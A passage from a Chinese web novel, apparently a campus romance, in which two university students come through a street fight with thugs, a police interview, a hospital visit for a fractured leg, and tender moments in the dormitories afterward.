后边那一脚没落在白仲钺身上,花外套腿还在半空使着劲就被紧跟来的另一个男生撞翻了。
撞翻花外套的男生压上去揍人的间隙朝早到一点拿布蒙人的男生喊了一句:“张皓程你给我一边待着!”
昨天一块打球吃饭的其他几个人也都在外边,他俩那会儿还碰见了,韩一刚才往这边跑的时候打完电话又在群里招呼了声,没几分钟又赶来三个人,混乱场面终于平定下来。
远远响起的警报声和“警察来了”的喊声混在一起,花外套猛地一挣,韩一和张皓程两个人没防备竟然让他挣脱了。
几乎是在使劲挣开的一瞬间花外套就爬起来跑,脚下打滑几次好不容易稳住步子小腿就被砸了一棍。
是从姜宗川那里拿过来的铁管,白仲钺扔的时候用了狠劲,花外套被这一下砸得摔在地上抱住腿大嚎,咬牙闭眼喊了几声又伸手去摸边上的铁管:“我□□——”
白仲钺已经到了旁边,在他抓牢之后踩住那根铁管,把他手结结实实碾在地面。
“你想死吗?”
5. 学弟
警察还没过来祁延就把白仲钺拉开了,怕被警察看见说不清,不过饶是祁延和白仲钺这么熟,看见他发狠的表情也是一愣。
印象里只有初中那时候一起打过几次架,白仲钺还都是被他连带着没办法才动手,现在想起来像吃撑了犯中二病闹着玩似的,就没见过白仲钺这样。
“老白,”祁延拐了白仲钺一下,“你小学弟找你呢。”
白仲钺一转身,就看见柏安一瘸一拐过来了:“学长……”
“怎么过来了,”白仲钺迎了两步伸手握住柏安小臂把人扶稳,“腿怎么样?”
“不疼了,谢谢学长,对不……”
柏安话没说完,警察过来了,赵煜甩着胳膊就开始喊:“警察叔叔!我们出来吃饭碰见这几个人在这儿砸摊子揍人,他们六个揍一个兼职的学生!我们就想拉拉架结果他们举着棍子就打!这些棍子管子全是他们的周围人都能作证!还好有热心同学路过要不然我们就被打残了!”
“我□□——”
“老实蹲着!”那边警察朝那人呵斥一声,然后转过头来,“有话去局里再说,刚才动手的都去。”
篮球队里有人过来的路上又叫了人,这会儿刚到,要跟着一起去派出所被白仲钺拦下了。
花外套那边六个人,白仲钺这边十个人,可花外套那伙人实在一看就不像什么良好市民,又有不少人作证,警察没难为白仲钺一行人,就让配合做了笔录。
但到底惊动了班主任和辅导员。
十个人什么专业都有,让联系老师的时候白仲钺主动说自己联系,毕竟是因为他。
祁延简直听得目瞪口呆,好像这一架全没旁边那个小学弟什么事。他倒没想让小学弟出面找老师,毕竟白仲钺这种人在老师那儿自带光环什么都好说,他就是觉得白仲钺不对劲。
说不上来哪儿不对劲,但绝对不对劲,百分之一百二的不对劲。
后来柏安兼职摊位的老板也来了,她紧赶慢赶到的时候就只看见稀烂的摊子,问了周围的人又立刻赶到派出所来。
这个大姐老公是个混子,越来越混又动手又赌博,大姐想离离不了,就从家里跑了,想等两年起诉离婚。没想到她老公到处说她外边找了人给自己戴绿帽子,让“道上兄弟”帮忙找人。
出了派出所有片空地,十个人在路灯底下站了两排,白仲钺手里还扶着柏安。
“那几个罚款拘留十五天,你们也差点被拘留知不知道?在公安网留下个记录好看?知道给同学打电话不知道给老师打?那种混成渣的人下手能有数吗?还有一个是有案底有可能判刑的!拿刀了怎么办?你们几条命啊?”
班主任噼里啪啦说了一通,几个人知道在派出所的时候两个老师一直维护他们,一边据理力争一边给警察赔不是,坚定咬住见义勇为不松口,这会儿两排人就老老实实低着头让训。
直到班主任训得心里那口气顺点了,柏安才抬头小声说:“老师对不起,那几个人最开始是打我的,几位学长是为了救我才打架,今天的事都是因为我……”
不得不说,虽然都知道人不可貌相但人们大多迈不过这个槛。
比如这话如果姜宗川来说大概就没什么说服力,但换了白白净净乖乖巧巧在一群人里显得瘦瘦小小眼睛里还汪着泪花的柏安说出来,谁能忍心再训一句?
何况还是无妄之灾。
柏安其实就是在卖可怜,眼睛里的眼泪是右腿轻轻一使劲疼出来的。
“行了行了,一会儿叫的车来了都回学校,回去全把嘴闭严了,别给我想不开耍帅拿大喇叭吆喝自己的战绩。”
等了一会儿车没来,班主任又开始说:“拘留的那几个也说不定会提前出来,今天穿的衣服往后都别穿了,染头发的染回去,能少出来就少出来,万一以后再碰见就绕着走,别觉得自己了不起玩报复那一套,想想自己小命万一被那些人弄没了值不值当!”
“知道了。”
“记住了老师。”
“好的。”
“谢谢老师。”
“老师你最好了!”
班主任嘴角动了动又绷紧,问柏安:“刚大一?以后别在街上兼职了,不安全,咱们学校有助学岗,你回去找导员问就行。马上十一月,各种补助什么的通知快下了,你如果有需要到时候该申请申请。”
“好的,谢谢老师……”
“嘶,”班主任看看柏安,转过头去看看路上的车又转回来,“我刚没训你吧?”
柏安眼睛里那汪水眼见是越聚越多就要扑簌簌往下掉。
“没有老师。”柏安刚刚不小心一动脚,结果咬牙也没能把眼泪憋回去,到底啪嗒落地上了。
白仲钺皱皱眉:“腿疼?”
“不要紧,”柏安扯扯嘴角,“就一点点,明天就好了。”
班主任立刻问:“伤着腿了?”
柏安说:“没事老师,被打了一下,不严重。”
“腿是小事?赶紧去医院拍片子查查!你们在这等车,我送他去看看去,”班主任眉毛都要飞起来了,收住到嘴边的一句“是不是傻”,说柏安,“怎么想的,伤了不和警察说去医院还巴巴跟着来?”
叫的车过来了一辆,白仲钺扶着柏安说:“老师,我陪他去看吧,时间不早了,您和周老师早点回去休息。”
“是老师,”柏安立刻接上,“没什么大事,学长陪我去就行,今天麻烦两位老师了,谢谢老师。”
柏安一口一个老师叫得听起来就比别人叫得舒坦,班主任估摸着自己在一边学生也不自在,就松了口:“行,你们先走,去吧,必须拍片啊,别阳奉阴违不去医院,赶紧上车,这事交给你了白仲钺。”
“一定去,那我们先走了,”白仲钺把车门打开扶柏安坐进去,“老师再见。”
上车之后白仲钺报了地址,先把手机拿出来,对屏幕上的几道纹视若无睹。柏安骤然和白仲钺近距离待在密闭空间里,心“怦怦”跳得厉害,见白仲钺没和自己说话在专注发消息,才一点一点艰难缓下来。
刚刚老师在他没和其他几个人打招呼,也没时间多说,白仲钺这会儿正在球队群里发消息。
正打着字,聊天界面显示【祁延邀请姜宗川、赵煜加入群聊】
【今天真谢了,你们该拿药拿药该看伤看伤,我都报销,改天一起吃一顿压惊,我请,随便挑】
白仲钺发完消息又发了几个红包。
祁延先回的消息:【大家伙什么关系啊发红包生分了不是】
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紧接着祁延又发一条:【靠你发了多少我怎么才两块?】
祁延:【一块?】
祁延:【三毛?!!!】
白仲钺:【都是二百】
赵煜:【我最少的三十一块九哈哈哈哈哈哈哈哈哈哈哈哈哈】
张皓程:【虽说我们是为了帮你但是你这谢实在是越俎代庖】
张皓程:【本尊呢】
张皓程:【从哪儿骗来的漂亮小学弟】
祝骁:【人家才刚走进大学生活,是不是禽兽了】
张皓程:【把漂亮学弟拉进来】
张皓程:【让漂亮学弟进群说话】
“漂亮学弟?”
张皓程还在低头打字,顺口答:“啊,长多好看一小男生啊。”
白仲钺和柏安走之后几个人就劝着两位老师先走了,约的剩下的车来之后张皓程和韩一没上,其他几个人都知道他们两个,起哄一通才坐车走。
韩一手扶着张皓程肩膀给他当导航:“多好看?”
“不挺好……”张皓程把视线从手机屏幕上收回来,看着韩一笑出声,“没你好看,你天下第一好看。”
韩一手下用劲把张皓程带到树后的一片阴影里:“下次再碰见今天这种事别不管不顾往上冲。”
“怎么了?我又没伤着,而且总不能看见不帮吧。”
“不是不让你帮,”韩一在张皓程染成白金色的头发上抓了一把,“就知道往上冲,今天要不是老白不管不顾地把那个人手里棍子弄下来,你就得开瓢。”
张皓程愣了愣,才后知后觉确实是这么回事。他当时拿着块摊子上的布把人蒙住,根本没想那个人手里还有棍子。他就在那个人身后,紧贴着的距离随便一棍子就能打着他。
“长长记性吧,管头不顾尾的事干多少了。”
“知道了——”张皓程遇见自己理亏的事向来服软服得快,“记住了,我错了,别说我了。”
“头发染回去吧,太惹眼了。”
“不想染,就看这个色顺眼。”
韩一拽了拽他的头发:“换个不惹眼的,我跟你一起染。”
“你不是打死不染吗?”
“你就当把我打死过了。”
张皓程“切”了一声,凑在韩一耳边说:“我比较想干死你。”
“行,”韩一痛快点头,拿出手机来继续走,“今天晚上让你来。”
今天周五,他们照旧在外边订了两天的宾馆。张皓程愣了会儿然后跟上去在韩一背上甩了一巴掌:“这周末本来就该我上你了!”
白仲钺点开韩一发在群里的语音,默认外放。
“这周末本来就该我上你……”
是张皓程的声音,话到一半。
【韩一撤回了一条消息】
白仲钺听完的时候没反应过来,看见秒撤的提示忽然就明白了。
手机音量不大,不了解情况的人乍听也不会想到那儿去。车里司机和柏安都不知道怎么回事,柏安也只是听见声音下意识看过来一眼就又转回头去。
听懂了的,不自在的,只有白仲钺一个。
“咳……”
白仲钺低低清了清嗓子,把手机关静音放回了口袋。
6. 背
下车的时候白仲钺把柏安扶下来,两个人身高差有点大,柏安不好借力,只能扶着白仲钺的胳膊一瘸一拐走。
“你站稳,”白仲钺往前一步在柏安前边蹲下一点,“上来我背你。”
柏安下意识想拒绝,但白仲钺的后背实在太有吸引力,柏安在心里唾弃自己两秒钟然后把手臂搭在了白仲钺肩上:“谢谢学长。”
腿随着白仲钺的走动一晃一晃的,有点疼,还有点胀,但柏安没心思管了。
心好像在自己的胸膛和白仲钺后背中间挤着,要动弹不了了,要跳出来了。
直到白仲钺把他放在排椅上自己去挂号,柏安才有了点真实感。
但这点真实感在巨大的意想不到和美好现状面前也变得掺了几分梦幻。
白仲钺,也太好了吧……
柏安右小腿肿得厉害,白仲钺起初只以为青紫了,没想到这么严重,更没想到医生拿着片子说是轻微骨裂。
“骨裂?”
“嗯,”医生在电脑上输入开的药名,“不算严重,不用打石膏,但也要好好注意,右腿尽量少用力,先别走路养一养,过几天好点了可以适当活动,以患者自身情况为准,别一直躺着不下地也别勉强走动。安全起见别去人多的地方,晚上睡觉把右腿垫高点,三到四周过来复查。患者在那边等,你去缴费拿药。”
白仲钺把医疗卡接过来:“好,谢谢医生。”
从医院出来的时候都快十点了,好在离学校近,打车也就十分钟。
“学长,今天花了多少钱?我转给你。”
“不用,”白仲钺稳步向马路边走,“那几个人需要赔钱,老师会先给我,我就从里边扣了,到时候多退少补。”
“如果不够的话我转给你,多的话就不用给我了。”
白仲钺笑了笑:“故意给我便宜赚呢?”
“不是占便宜,今天幸亏有学长在,我就是还没想好要怎么谢。还有今天帮忙的其他几个学长,也要好好谢谢才行。”
“不用想了,等你腿好了用剩下的钱请大家一起吃顿饭就好。”
“不行。”
白仲钺侧过点头:“嗯?”
两个人脸之间的距离一下变得更近,柏安不自觉屏住呼吸——他连白仲钺眼皮的纹理和浓黑睫毛的细微间隙都看得清清楚楚:“唔……说好如果多的话就给你的。”
“我不要,用来请客算是谢他们,至于怎么谢我,你慢慢想。”
柏安忽然有点担心,自己趴在白仲钺身上,紧贴着胸膛,白仲钺会不会感觉到自己激烈乱撞的心跳。
“没出租,叫个车吧,我密码是六个零。”
柏安手里拿着一大袋药和白仲钺的手机,听见白仲钺说话立刻伸手去口袋拿自己的手机:“用我手机就行。”
打开手机才发现老板给他打了一串电话,时间不早,柏安先叫了车,想给老板回条信息的时候老板又打了过来。
“喂,郑姐。”
“你可算接电话了,吓死我了,以为你又出了什么事。我听说打到人了,你受伤没?”
因为挨得白仲钺近,怕吵到他,柏安说话声音就刻意小了点:“小腿轻微骨裂,不严重,郑姐你那边怎么样?”
“你不用管这个,今天这事是因为姐,花了多少钱我转给你,还有今天的工资也给你结了。”
“他们好像得赔钱给我,应该够了。而且其实我也有责任……”
白仲钺紧了紧眉头,没开口。
柏安继续说:“他们一开始来的几个人没拿棍子,问我老板姓什么还有男的女的的时候我说是男的,他们可能误会你真的……和别的男的在一块,才又来砸的。”
“不是,你别往自己身上揽,他们之前砸过我两回地方了,都是空着手先去探情况,认准了就领人去砸。行了不和你说这些,他们赔是他们活该,两码事,你和我说花了多少,不转给你我闹心。”
“啊,好,”柏安把手机拿远一点,问白仲钺:“学长,今天花了多少?”
“六百三。”
柏安又把手机贴回耳朵:“郑姐,花了六百,今天的工资不用给我结了,我今天没干多长时间,而且就算今天干完……也……昨天的,不够的你在药费里扣出来吧。”
“行,别管了,好好养着,多注意点。”
打的车来了,白仲钺走到车边蹲下身把柏安放下来,然后把柏安扶上车后座。
柏安一条腿用力把自己往里挪,右腿使不上力还在靠外的位置,劈叉似的,柏安正想上手,白仲钺已经探身进来吧柏安的右腿轻轻抬起来移进去了。
关车门的声音像砸在柏安心上,“砰”的一声响。
“打完了?”
“啊?”柏安反应过来看手机才发现电话已经挂断,“嗯,打完了。”
郑姐给他转了七百,柏安编辑了一段话发过去之后偷偷往右边瞄了一眼,见白仲钺正看窗外,立刻做贼似的把白仲钺手机开了,点开转账软件的收款码把刚收到的七百转给了白仲钺。
他刚刚就是在白仲钺背上大脑宕机智商不够用,这会儿才觉得白仲钺关于那几个人赔钱的说辞很不可信,老师当时明明只说了罚款拘留,罚款是充公的。而且就算那些人该赔钱,他们也不一定会赔,到时候如果只赔一点或者直接不给,白仲钺不告诉自己怎么办?
“干什么呢?”
柏安一下手忙脚乱像个被当场拿赃的小贼,手机都吓掉了。
白仲钺笑了一声,低身把手机捡起来:“干什么坏事了,吓成这样。”
“没,”柏安吞了下口水,刚刚白仲钺捡手机的时候,头发在他手背蹭过去了,“……我把药费转给你了。”
“不是说了不用转。”
“老板给我转了医药费,而且……反正如果那几个人真的赔钱的话就用来请大家吃饭好了。”
“嗯。”白仲钺把手机在手里转了下,看着副驾驶后面印的反诈骗宣传语想,看起来挺好骗的样子,操作起来也没那么简单。
白仲钺的手很大,手指也特别长,手机在他手里和在柏安手里就像根本不是同一个手机。
手机晃了晃。
柏安眨眨眼,忽然抬头正对上白仲钺看过来的视线。
口干舌燥。
白仲钺太好看了。
晚上的白仲钺、近距离的白仲钺、在明暗光影里的白仲钺,比初见时还要好看。
初见明明是昨天的事,柏安却忽然觉得好像已经很久远了,像在很久以前,他就已经见过也认识白仲钺一样
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“你……”
“怎么了?”
柏安一下回神,又低头看了一眼白仲钺拿着手机的曲起的手指:“你屏幕碎了。”
“钢化膜,不是屏。”
“哦……”
“师傅,麻烦往校门口拐一下吧,他腿不方便,从左边门下车。”
白仲钺背着柏安进了校门。路灯把两个人的影子拉得很长又缩得很短,深一点的影子和浅一点的影子重叠,一起一步一步向前。
“学长……”
“嗯?”
柏安低下头,把下巴放在白仲钺肩膀上:“谢谢你。”
他其实很委屈,在皮夹拍到脸上的时候、摔在地上的时候、抱着头蜷起来的时候,在看到裤子膝盖破了洞的时候、包扎手腕和腿的时候……
还有现在。
他被白仲钺背着,因为走路有节奏地一晃一晃,就像在被安慰一样的现在。
柏安一点也不想哭的。
他不想让白仲钺觉得自己是个爱哭鬼娇气包。
他只是有点忍不住。
掌根和手腕缠着的纱布越来越模糊,柏安瘪瘪嘴,庆幸自己能伏在白仲钺背上,像蜗牛能缩进壳里。
如果可以,希望白仲钺会愿意做他的壳。
如果可以,如果需要,他也愿意把自己的壳给白仲钺。
走了好一会儿,感觉背上的人呼吸平稳了白仲钺才说话:“你兼职是当天晚上结工资?”
“嗯,对。”
“一晚上兼职几个小时?”
“三个半左右,有时候多一会儿有时候少一会儿。”
“给你多少钱?”
“一晚上四十五加提成,一般差不多能有六十块。”
白仲钺皱皱眉:“我这个项链你两天工资都不够?”
柏安打电话的时候说得支支吾吾,可白仲钺大概猜到了点,果然,柏安一下没话说了,隔了好一会儿才说:“差不多,就是两天的钱。”
“小摊上东西不是都便宜吗?那个不付钱的男生拿了两样不才二十多?”
“价格不一样……而且这个也不贵……”
柏安垂眼去看白仲钺脖子里的项链,白仲钺微微弓着身,领口空出来一块,柏安的视线顺着锁骨向下看见那块在衣料和皮肤中间摇晃的金属牌,然后看见了旁边颜色略深的……
!!!
柏安猛地一闭眼把头转开,脸上差点要起火。
“听见了吗?”白仲钺轻轻颠了柏安一下:“掐自己手干什么?”
“啊……啊?”
“我说以后别这样了,你掐自己手干什么?”
“我……”柏安把乱蹿的心思死死掐住,“我知道了,替你教育一下我自己。”
柏安乱说的,白仲钺没再问,笑了一声。
嗡——
原来喜欢一个人的时候,他只是在耳边笑一下,就能让人不辨南北,耳昏眼花。
柏安闭起眼睛,下巴在宽实的肩上极细微地蹭动半分。
小摊上的东西的确便宜,这条项链和柏安彼时的心思并不相符。他想把最好的东西送给白仲钺,只不过当时,这就是最贵的了。
他想给白仲钺的,远比这个要好得好,多得多。
7. 见义勇为
进宿舍楼后柏安要下来扶着楼梯扶手自己走,怕白仲钺累,白仲钺没让。
四层楼背着爬上去,白仲钺体力再好也出了汗,不过还没粗喘几口就发现了个要紧的问题——宿舍没有下铺。
两只手拽着一层一层往上挪也不是办不到,但太不安全。
还有十几分钟关楼门,白仲钺把柏安扶着坐在椅子里:“你等我一会儿,如果四十之前我没来你就让舍友帮着上去睡一晚。”
“学长你要……”
白仲钺赶时间,没等柏安说完就急匆匆走了。
他记得宿管那儿有张闲置的折叠单人床。
白仲钺下楼之后先在柏安宿舍楼的宿管那里问了,说没有之后又去了对面自己宿舍楼的宿管那里,好在那张折叠床还在,宿管觉得卖给收废品的心疼一直收在床底下。
宿管早眼熟白仲钺了,没要白仲钺的钱,让登记信息,白仲钺把学生卡留给宿管说回来登记,道谢之后提着折叠床又大步赶到柏安宿舍去。
折叠床大概就一米宽,白仲钺扶着柏安坐到一边,利落把折叠床支在桌边,又踩着梯子把柏安的被褥卷了整个抱下来铺开。
被褥在折叠床上宽出来一块,看着有点乱。白仲钺对柏安说:“先这样凑合睡吧,别的明天再说,记得吃药,走了。”
白仲钺连反应的机会都没给,人都走了柏安也没能说一句完整的谢,拿出手机来才发现已经过门禁时间了。
柏安拿出手机来给白仲钺发消息。
【学长,关楼门了吗?】
白仲钺没回复。
柏安从椅子上起来跳了两下坐到折叠床上,摸着又皱又软的床心里一下说不出什么滋味。
“你慢点,有事叫我们,别再摔了。”
“好,”柏安冲挨着床的舍友笑笑,“谢谢。”
一个已经在床上的舍友看见柏安说话了也开始说话:“柏安,你和白仲钺什么关系啊?有亲戚?”
“你认识他?”
“没开学我就知道他了,咱们学校不知道他的才是少数吧?”
“啊……”柏安其实有点惊讶,他知道白仲钺在A大知名度高,但没想到刚入学的舍友也都知道,“你们都认识他吗?”
床挨着柏安的舍友说:“我是进学生会之后才知道的,他是上一届学生会主席,我只见过照片,没见过人。”
床上的舍友又问了一遍:“柏安,白仲钺是你亲戚吗?这么照顾你。”
“不是,就是认识。”
“以前就认识啊?”
“最近刚认识的。”
“厉害啊,刚认识就能和白仲钺这么熟。”
柏安笑笑,没再接话。
手机震动了一下,是白仲钺的消息。【回宿舍了,和宿管说好多留十分钟门】
【好的】——柏安打完字又删掉,太简单了。
【今天谢谢学长了】——加“了”好像显得不太郑重。
【今天谢谢学长】——可是删掉“了”读起来又很生疏。
柏安纠结好一会儿,忽然想到自己竟然都没问问白仲钺有没有受伤。
他们打起来的时候柏安的位置看不太完整,没办法全程看见白仲钺,他着急得要命也没上前。
没办法帮忙就要躲远点,至少不能当拖油瓶。
后来只注意到白仲钺的右手指根和骨节都通红,有的地方破了皮,其他露在外边的地方没发现有伤。接着事情一件接一件,柏安一直都没能问白仲钺身上有没有被打到,再后来,柏安晕晕乎乎地忘了这茬。
【学长,你今天有伤到吗?】
白仲钺有一会儿没回,柏安又发了一条。
【宿舍有药膏吗?】
“你要不别洗漱了,去卫生间的话喊我一声我扶你。”
柏安转头说:“我简单洗洗,扶着床和门能走,没那么严重,谢谢啊。”
“嗯,”床挨着柏安的人坐在桌边,没上床,“有要帮的就说,别客气。”
柏安笑笑:“好的。”
床上的人翻了个身,看着手机“哎哟”了一声。
桌边的人翻了个白眼,把耳机戴上了一个。
柏安宿舍暂时就住了他们三个人,还是混寝,床上的人和柏安同专业不同班,桌边的人和柏安连学院都不在一个,是学法律的,但特别喜欢画画而且画得很好。空着床位的那个人倒是和柏安一个班,不过从开学就一直是请假状态。
床上的人叫袁韬,桌边学法律喜欢画画的人叫元睦和,空床位的人柏安不记得名字了,只记得姓法,三个字。
柏安第一次见到“法”这个姓,印象深刻。
袁韬跟元睦和的姓一样读音,但人合不太来。袁韬说话有时候不讨喜,开始是说元睦和成天对着颜料闻多了可能会致癌,后来又说自己有个说话都不利索的书呆子同学也学法律,还说过听说律师大都混不好之类。元睦和脾气还不错可也不是软性子,回呛几次之后就没好脸色给袁韬了。
柏安倒是和两个人都没嫌隙,但宿舍氛围大多数时候挺别扭,互相之间认识时间又短,也就只维持了普通和气的关系。别的宿舍常见的咋呼闹腾约玩捎饭等等,在柏安宿舍根本不存在。
白仲钺一直没回复,柏安就先去阳台洗脸刷牙,从阳台斜着往对面楼看也没能看见什么。
-
“嘶——”白仲钺光着上身面对椅背跨坐,一边拿毛巾擦头发一边扭头对赵煜说,“打个商量,有意见直说,不带下黑手的。”
“你们一个两个三个都不懂,秘方,活血化瘀就得用劲揉才管用,当我愿意伺候你们啊,我还嫌手酸呢。”
一宿舍四个人有三个是光膀子造型,还都是倒跨坐,满宿舍浓郁药味也没开门窗,冷。
“还没干,”祁延在姜宗川背上试了试,“这药膏干得也太慢了,今天晚上还能睡觉吗?”
“回来就说给你们抹,都掐着脖子
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撑英雄,早抹的话早干了。”
姜宗川一门心思打游戏,根本不着急。
祁延“啧”了一声,闲得在一边围观抹药。他和姜宗川身上的青红紫加起来都没白仲钺身上多,当时他对了一个空手的,姜宗川对两个但手里有抢来的铁管,就白仲钺空着手对两个,对方其中一个还有棍子。
“老白,说说呗,今天这见义勇为是哪一出?”
白仲钺裹着毛巾继续擦头发:“路见不平,拔刀相助。”
“屁,我怎么不知道你什么时候有了个关系这么好的小学弟,”祁延一顿,“你这两天怎么天天见义勇为?昨天那谁还说你吃完饭路上见义勇为了。你昨天加的那小星星谁啊?不会就今天这个学弟吧?”
“嗯。”
“卧槽,昨天才加好友,今天就为了人家挨拳头?”
白仲钺头发干差不多了,把毛巾拿下来:“那我怎么着,站一边看着他挨打?”
根本不是这回事。
当时往那边走的时候听见一声叫,祁延根本没反应过来呢白仲钺已经跑远了。他们三个赶紧跟上去的时候正看见白仲钺一脚把人踹出去三步远,那人手里还拿着铁管子,白仲钺就跟瞎了没看见似的直接蹲下去看地上的人了。
还有打架时候的那股狠劲,祁延觉得要是今天让人揍的是自己,就白仲钺那反应他都得暗地里感动个三五年。
“主要你这,当时那什么,之后又带人去医院,又折腾到大晚上才回的……”祁延暂时还没确定自己到底是觉得哪儿不对,语言组织起来也费劲。
“咱们这些人就我认识他,肯定是我带他去医院,嘶——”
“行了别嘶了,”赵煜终于弄完停手,“你明天最好去医务室看看拿点药什么的,太严重了,万一也和你那小学弟似的骨裂了。”
白仲钺活动了活动肩膀:“想我点好吧。”
“这不简单吗,”赵煜半举着手去阳台洗手,“想你那顿饭得敲诈点什么才够本都想一下午了。”
白仲钺笑笑:“慢慢想,想好了随便敲。”
“你们见着张皓程的项链了吗?”祁延看着手机问,“在群里说他项链丢了。”
几个人都没见到,祁延在群里回复了一句,忽然想起来什么:“哎老白,你这两天怎么戴起项链来了?”
熄灯断电一会儿了,白仲钺正给快没电的台灯接充电宝:“戴着玩。”
“稀奇。”
手机屏碎了,白仲钺不太愿意用,本身除了有事也没随时要看手机的习惯,上床看见柏安消息的时候已经快十二点了。
最新一条是二十分钟前,【学长睡了吗?今天真的特别谢谢学长,如果有受伤一定记得涂药,晚安~[睡觉表情]】
看见那个小波浪号,白仲钺不知道怎么忽然想起祁延拖着声音念柏安消息的调子来,不自觉扬起嘴角,疼出来的躁气也消了。
【没伤到,明天去校医院给你借拐杖,睡吧】
8. 送饭上门
柏安已经睡着了,手机还在手里松松握着。
天黑了,灯亮着,能清楚地看到天上往下砸的铁棍,密密麻麻的,根本躲不开也跑不掉。
嘭——
有个硕大的盾牌凭空出现,把铁棍全部截在半空,举着盾的人,是白仲钺。
柏安惊呆了,直直看着白仲钺:“学长……”
白仲钺把盾牌向上一扔,弯腰把他横抱在怀里,宠溺地对他笑着说:“乖,叫我的名字。”
柏安呆呆的,说不出话来,但时间紧迫,白仲钺不能一直抱着他,只好把他放在安全的地方,对旁边的人说:“麻烦帮我照看一下。”
旁边的人问白仲钺:“帮你照看?他是你什么人?”
白仲钺就要转身走,柏安拉住他的手指:“白仲月……”
“别怕,我会保护你,”白仲钺回过头对他说,说完才回答旁边人的问题:“他是我的人。”
——“啪!”
柏安惊醒,还没从梦里出来就听见袁韬说:“你手机摔了。”
“啊,”柏安撑起身子把手机捡起来,“谢谢。”
袁韬喷完发胶用手抓了抓,要出门的时候看了柏安一眼:“傻了啊?手机摔了还笑这么高兴。”
没等柏安说什么袁韬已经走了,柏安在脸上用力搓了一把,忽然惊了一下按开手机看时间。
袁韬都起来出门了,自己怕不是睡到了快中午。
不到八点,还好还好。
柏安松口气,时间不晚,手机也没坏。
有未读消息。
最新一条是七点多的时候白仲钺发的,【醒了吗,想吃什么,我一会儿去食堂,给你带】
柏安赶紧回复,【不用麻烦啦学长】
回完柏安才觉得自己清醒了点,立刻选中想撤回,那边白仲钺已经又发来了。【?】
已经看见了。
柏安一把抱住头,把脸埋进被子里:“手快什么啊客气什么啊多好的事啊……”
“怎么了?柏安?”
柏安看着元睦和有气无力地说:“我觉得我身体醒了,智商还没。”
元睦和让柏安的样子逗得乐出来:“那你再睡会儿,和智商集合好商量商量一起醒。”
“再睡估计就白痴了。”
“我下去买饭,你吃什么?”
“你不去找女朋友画画吗?”
“去也要吃了饭再走,不然你先想着吃什么,我到餐厅之前发给我就行,后边几顿我找人给你带。”
元睦和的女朋友学校离A大很远,几乎是在市两头,地铁不直达,去要将近三个小时,平时周六这个点元睦和已经在地铁上了,今天是为了等柏安和女朋友说晚到。
考虑柏安是伤员,元睦和本来打算最晚等到八点,不起就叫起来,结果柏安自己醒了。
“你别再折腾来回跑了,橱子里还有泡面,饿不着我。”
“你骨折了吃泡面?”
“没折呢,”柏安手机震了下,他低头看一眼消息接着就笑开了,“不吃泡面,别人给我送,放心,你赶紧去坐地铁吧。”
“那我就不上来了,”元睦和走回桌前把收拾好的包背上,“谁给你送,白仲钺吗?”
柏安笑着点头:“嗯。”
“你们关系还真挺好,走了,袁韬不知道今天晚上回不回,你注意安全。”
“好的,谢谢啊。”
“客气什么。”
宿舍门被关上,柏安又点亮屏幕,忍不住就开始笑。
白仲钺:【把拐杖给你拿过去,顺便】
柏安:【好的,麻烦学长了】
白仲钺:【直接答应就不麻烦】
柏安脸都要酸了,强忍住回了一个表情包:【敬礼收到.GIF】
-
那个横抱,柏安居然时隔整整一晚才开始回味。
柏安其实胆子很小,他们村里一茬一茬的孩子长起来,没几个人不挨家长打的,很多女孩子都被打过几次,更别说男孩子,几乎都是被从小打到大。
除了柏安。
他一次都没被打过,除了因为奶奶和爸妈格外疼他,还因为他怂,怕疼。
小时候也调皮过,但基本上家长脸色一变他就老实了,找家伙的动作还没进行他就巴巴认错了。
昨天白仲钺抱他的时候他人基本是懵的,吓懵了。再之后事情一件接一件,柏安挨着白仲钺心跳就没缓下来过,一直到睡觉都是飘飘忽忽的。
现在他才细细回想,回想起忽然悬空的失重感,也回想起膝弯后背的力道,还有晃动的节奏和对方腹部肌肉的硬度。
柏安小的时候,爸爸还在的时候,每次柏安害怕了、疼了、哭了,爸爸总喜欢把他抱起来,胳膊箍住他的大腿,手掌按在他后背,有时候抱着他拍一拍,有时候抱着他来回走。
爸爸说:“抱是疼人,疼一个人,就把他抱在怀里,让他被环起来,让他能依靠。”
爸爸还说:“等安安长大以后会遇见一个不一样的人,想保护她,想一直抱她,想把所有好吃好用的都给她,抱着她就觉得心里安稳。”
柏安当时心里想,如果长大了会遇见一个不一样的人,那他希望可以遇见一个保护自己、想一直抱自己的人。只是这话听起来太不男子汉,柏安不好意思说。
十三岁那年柏安爸爸去世,柏安迅速长大,他收起所有的软弱去抱自己的奶奶和妈妈,拼命学习,一年又一年,他成了街坊乡亲嘴里“别人家的懂事孩子”,成了家里的男子汉,成了可以被依靠的人。
他都已经习惯了,可忽然间,他又变成了被抱着、被保护的人。
眼泪砸在手上柏安才回神,他两手捂住脸,指腹揉了揉眼睛。
“爸,你会高兴吗?我好像遇见那个不一样的人了。”
-
“喂,爸爸。”
祁延听见是白仲钺爸爸的电话生生把“医院为什么不卖拐杖”的话茬刹住,拿过白仲钺手里的拐杖来架在腋下拄着走。
“不用转,我有钱啊。妈妈说的?”
白业成喝了口茶:“对啊,我说你钱不可能不够花,你妈妈硬说你……哎刚刚你不打让我打,这会儿又抢我手机……”
“小钺,”阮敏把手机拿过来,嗔了白业成一眼,点开免提,“我才看见你昨天转发打折的广告,怎么那么便宜还要费力气吃打折的?”
白仲钺笑了:“妈妈,那是同学间闹着玩的。”
“就是,”白业成在那边附和,“他卡里能少了钱吗,都多大人了,不用总担心。”
“那就好,下周末回来吗?你姑姑那边新一批的草莓熟了要运过来,说比去年培
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育的还甜。”
“我这个月不回家了,你和爸爸吃吧,我等下批。”
白仲钺家就在A市,平时基本每个月回家一次,有时候假期有时候周末,不过偶尔不回去家里也不会追着问,从小到大,他们给了白仲钺界限内最大的支持和自由。
阮敏果然没问什么:“那下次你回家提前打电话,我让你姑姑那边再送新的。”
“好。嗯,放心吧妈妈。拜拜。”
“我就说你不用担心吧,”白业成给老婆续上茶,“你不如想想中午想吃什么下午想买什么。”
“我担心儿子不是正常的吗?你记不记得之前他高一的时候买限量版摩托车那次,不声不响的,又研究投资又扣自己的生活费,车都停在车库了你才知道。我是担心他又想买什么东西不说,自己省吃俭用,咱们家又不需要。”
白业成一边听一边点头,把茶杯端起来递到她嘴边:“喝点茶喝点茶。”
阮敏就着白业成的手喝了一口:“你昨天不是还说,要找你合作的郑总嫌自己儿子败家吗?而且一边说败家一边说自己家底厚经得起败,他们公司都能说经儿子败,咱们儿子想买东西每次都不张口要,你不该反省一下吗?”
